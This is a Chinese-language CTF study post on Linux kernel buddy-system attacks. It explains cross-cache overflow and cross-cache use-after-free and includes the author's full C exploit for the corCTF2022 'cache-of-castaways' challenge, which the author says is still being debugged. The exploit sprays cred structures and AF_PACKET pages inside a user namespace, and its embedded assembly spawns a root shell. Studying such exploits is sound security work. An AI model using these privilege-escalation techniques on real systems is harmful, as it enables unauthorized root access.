Week 3 - Buddy System Exploit

本文章涵蓋基礎 Buddy system 相關的攻擊。

Cross cache overflow

若一個 object 在寫入資料時有 heap overflow,則可以覆蓋同一個 cache 的其他 object,由於 kernel heap 結構相對複雜難控制,因此常使用 heap spray 提升成功率。
然而,若危險的 object 和目標不在同一個 cache 呢?仍可透過 cross cache overflow 覆寫內容。

Linux 的 heap 管理主要由 buddy system 和 slub allocator 組成,buddy system 儲存連續的物理記憶體 page,slub allocator 將其分成更小的 object 分配給使用者。
buddy system 背後用 2 的冪次管理記憶體區塊大小,若無 大小的區塊,會從 切分兩塊出來,一份放 buddy system 一份給使用者。

由於當初 大小的區塊是連續的,所以在切分的前半塊 overflow,照樣可影響後半塊第一個 object,這就是 cross cache overflow。
大多數 overflow 在 > 0 階比較好實現,因為系統內較少要求相應大小的 object。但系統噪聲較低的情況下,0 階可獲得更多好用的結構,例如 cred,只要覆蓋前 6 bytes,就能改變 process 權限。

cat /proc/slabinfo 可查看每個 cache 使用哪個 order,512 大小的用 1 page,也就是 order 0。
截圖 2025-02-28 上午10.58.50.png

corCTF2022 - cache-of-castaways

初始化時創建一個 kmem_cache,表示與其他 kernel 結構隔離,大小為 512 bytes。
截圖 2025-03-09 下午2.53.42.png

module 內只透過 ioctl 互動, 0xCAFEBABE 要一塊記憶體,0xF00DBABE 修改內容。
截圖 2025-03-09 下午2.55.05.png
寫入使用者輸入到 buf+6 的位置,儘管寫入前有檢查長度,仍會造成 6 bytes 的 overflow。

截圖 2025-03-09 下午2.56.34.png

攻擊流程如下:

  1. 分配大量 cred 結構,使其消耗較低 order 的 page
  2. 分配大量 page,確保從較高 order 分配,它們之間連續
  3. free 掉奇數 page,替換成 cred 結構
  4. free 掉偶數 page,替換成題目分配的結構,透過 overflow 嘗試修改先前的 cred

之所以分奇數和偶數 page,是為了提升 overflow 的成功率,並避免被放回較高的 order。
但實際 exploit 更加複雜,首先每個結構大小不足一個 page,需要分配更多結構,而官方解是利用 setsockopt 分配大量 page。

packet_setsockopt 原始碼,若 optname == PACKET_TX_RING 且 tp_version 版本是 V1 或 V2,就會呼叫到 packet_set_ring->alloc_pg_vec,分配 block_nr 大小的記憶體。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
unsigned int block_nr = req->tp_block_nr;
struct pgv *pg_vec;
int i;

pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
if (unlikely(!pg_vec))
goto out;

for (i = 0; i < block_nr; i++) {
pg_vec[i].buffer = alloc_one_pg_vec_page(order);
if (unlikely(!pg_vec[i].buffer))
goto out_free_pgvec;
}

out:
return pg_vec;

out_free_pgvec:
free_pg_vec(pg_vec, order, block_nr);
pg_vec = NULL;
goto out;
}

所以說,只要這樣設定,就能分配一塊 page。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct tpacket_req req;
req.tp_block_size = 0x1000;
req.tp_block_nr = 1;
req.tp_frame_size = 0x1000;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

int version = TPACKET_V1;
for (int i = 0; i < SPRAY_NUM; i++) {
socket_fd[i] = socket(AF_PACKET, SOCK_RAW, 0);
if (socket_fd[i] <= 0) {
err("socket");
}
// 設定 TPACKET_V1
setsockopt(socket_fd[i], SOL_SOCKET, PACKET_VERSION, &version, sizeof(version));
// 分配一塊 page
setsockopt(socket_fd[i], SOL_SOCKET, PACKET_TX_RING, &req, sizeof(req));
}

然而,只有設定 SOCK_RAW 才能進入 packet_setsockopt,而 SOCK_RAW 需要 CAP_NET_RAW, 只有 root 才有此權限,因此 exploit 需設定 namespace,且在此 namespace 作為 root。
設定新的 user, network, mount namespace,改其 uid 和 gid,若缺少任一步驟,都會導致 error。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void unshare_setup() {
int uid = getuid(), gid = getgid();
int result;
int temp;
char edit[0x100];
result = unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET);
if (result < 0) {
err("unshare");
}

temp = open("/proc/self/setgroups", O_WRONLY);
write(temp, "deny", strlen("deny"));
close(temp);
temp = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", uid);
write(temp, edit, strlen(edit));
close(temp);
temp = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", gid);
write(temp, edit, strlen(edit));
close(temp);

uid = getuid();
if (uid < 0) {
err("getuid");
}
}

由於往後需檢查是否成功提權,而在此 namespace 是無法用 getuid 檢查的,所以必須開新的 process。

原本的用來觸發 shell,新的用來分配 page。兩個 process 可透過 IPC 或 pipe 溝通。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (!fork()) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
unshare_setup();
char req;
do {
read(spray_pipe_parent[0], &req, 1);
printf("req\n");
if (req == 's') {
create_socket();
} else if (req == '0') {
free_socket(0);
} else if (req == '1') {
free_socket(1);
}
printf("ack\n");
write(spray_pipe_child[1], "a", 1);
} while (req != 'b');
exit(0);
}

最後是 clone 的問題,process 在 clone 時會相應創建一些結構,要到 buddy system 的記憶體,從而降低成功率,以下設定可最小化結構數量。

1
clone(&wait_and_check, stack, CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, NULL);

wait_and_check 負責在一定時間檢查 uid,成功提權則開啟 shell。stack 只是傳進去防止 error,實際上 wait_and_check 不會用到 stack。
總 exploit 如下,目前還在 debug 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
#define _GNU_SOURCE
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/prctl.h>
#include <signal.h>
#include <linux/if_packet.h>
#include <sched.h>
#include <sys/wait.h>

#define SPRAY_NUM 100
#define DRAIN_NUM 100

void err(char *s) {
perror(s);
exit(0);
}

void unshare_setup() {
int uid = getuid(), gid = getgid();
int result;
int temp;
char edit[0x100];
result = unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET);
if (result < 0) {
err("unshare");
}

temp = open("/proc/self/setgroups", O_WRONLY);
write(temp, "deny", strlen("deny"));
close(temp);
temp = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", uid);
write(temp, edit, strlen(edit));
close(temp);
temp = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", gid);
write(temp, edit, strlen(edit));
close(temp);

uid = getuid();
if (uid < 0) {
err("getuid");
}
}

int root_pipe[2];
int spray_pipe_parent[2], spray_pipe_child[2];
char tmp;
char exe[] = "/bin/sh";
struct timespec timer = {.tv_sec = 1000000000, .tv_nsec = 0};

int wait_and_check() {
asm(
".intel_syntax noprefix;"
"mov rax, 0x0;"
"mov rdi, 0;"
"mov edi, root_pipe[0];"
"lea rsi, tmp;"
"mov rdx, 1;"
"syscall;"

"mov rax, 0x66;"
"syscall;"
"cmp rax, 0;"
"jne finish;"

"mov rax, 0x3b;"
"mov rdi, exe;"
"xor rsi, rsi;"
"xor rdx, rdx;"
"syscall;"
"lea rdi, [timer];"
"xor rsi, rsi;"
"mov rax, 0x23;"
"syscall;"

"finish:;"
"mov rdi, 0;"
"mov rax, 0x3c;"
"syscall;"
".att_syntax"
);
}

void drain_cred() {
// 1 page = 16 cred
for (int i = 0, pid; i < DRAIN_NUM * 16; i++) {
pid = fork();
if (pid < 0) {
err("fork");
return;
}
if (!pid) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
sleep(100000000);
return;
}
}
}

int socket_fd[SPRAY_NUM];

void create_socket() {
// 1 page = 1 tp_block
struct tpacket_req req;
req.tp_block_size = 0x1000;
req.tp_block_nr = 1;
req.tp_frame_size = 0x1000;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

int version = TPACKET_V1;
for (int i = 0, val; i < SPRAY_NUM; i++) {
socket_fd[i] = socket(AF_PACKET, SOCK_RAW, 0);
if (socket_fd[i] <= 0) {
err("socket");
}
setsockopt(socket_fd[i], SOL_SOCKET, PACKET_VERSION, &version, sizeof(version));
setsockopt(socket_fd[i], SOL_SOCKET, PACKET_TX_RING, &req, sizeof(req));
}
}

void free_socket(int offset) {
for (int i = offset; i < SPRAY_NUM; i += 2) {
if (close(socket_fd[i]) < 0) {
err("close");
}
}
}

void spray_cred() {
// 1 page = 16 cred
int result;
char *stack;
for (int i = 0; i < SPRAY_NUM * 16 / 2; i++) {
stack = malloc(0x10);
result = clone(&wait_and_check, stack, CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, NULL);
if (result < 0) {
err("clone");
}
}
}

struct request {
long index;
long len;
char *buf;
};

void spray_vuln() {
// 1 page = 8 vuln
struct request req;
req.len = 0x200;
req.buf = malloc(0x200);
memset(req.buf, 0x200, 0);
req.buf[0x200 - 6] = 1;
int fd = open("/dev/castaway", O_RDWR);
if (fd <= 0) {
err("open");
}
for (int i = 0; i < SPRAY_NUM * 8 / 2; i++) {
req.index = i;
if (ioctl(fd, 0xcafebabe, 0) < 0) {
err("ioctl");
}
if (ioctl(fd, 0xf00dbabe, &req) < 0) {
err("ioctl");
}
}
}

void main() {
pipe(root_pipe);
pipe(spray_pipe_parent);
pipe(spray_pipe_child);

drain_cred();

if (!fork()) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
unshare_setup();
char req;
do {
read(spray_pipe_parent[0], &req, 1);
printf("req\n");
if (req == 's') {
create_socket();
} else if (req == '0') {
free_socket(0);
} else if (req == '1') {
free_socket(1);
}
printf("ack\n");
write(spray_pipe_child[1], "a", 1);
} while (req != 'b');
exit(0);
}

char ack;
write(spray_pipe_parent[1], "s", 1);
read(spray_pipe_child[0], &ack, 1);

write(spray_pipe_parent[1], "1", 1);
read(spray_pipe_child[0], &ack, 1);
spray_cred();

write(spray_pipe_parent[1], "0", 1);
read(spray_pipe_child[0], &ack, 1);
spray_vuln();

char *empty = malloc(SPRAY_NUM * 16 / 2);
write(root_pipe[1], empty, SPRAY_NUM * 16 / 2);
puts("Finish!");
}

Cross cache attack

除了 heap overflow,也可跨 cache 利用 UAF 漏洞。
思路是在一個 cache 分配 UAF 的 object,使它放回 buddy system,再被分配到另一個 cache。
符合四項條件,就能使 cache 從 buddy system 要 page:

  1. kmem_cache_cpu->freelist
    追蹤 CPU 正在用的 page 中,下一個能用的 freed object。
  2. page->freelist
    page 下一個能用的 freed object,若此 page 正被 CPU 用到,page->freelistkmem_cache_cpu->freelist 類似。
  3. kmem_cache_cpu->partial
    追蹤 CPU 旗下擁有 freed object 的 page,這些 page 用 page->lru 串起來。
    正被用來 allocate 的 page 會記在 kmem_cache_cpu->page,不會在 partial 裡面。
  4. kmem_cache_node->partial
    整個 node 沒有其他可分配的 page。

也就是說,當我們要足夠多 object,就能觸發 new_slab,向 buddy system 要一塊 page。
而讓 page 放回 buddy system,需符合以下條件:

  1. kmem_cache_cpu->partial 已滿
  2. freeing object 屬於的 page 無任何正在使用的 object

也就是說,現在要把 page 放進 partial list,但 partial list 已經滿了,所以呼叫 free_slab 將當前 page 直接 free 掉。
之後再讓另一個 cache 分配,就能夠跨 cache 透過 UAF 影響資料。

Lag and Crash 4.0 - Cheminventory 即用到此項技術,由於最近比較忙,還沒辦法實際下去做 QAQ

參考資料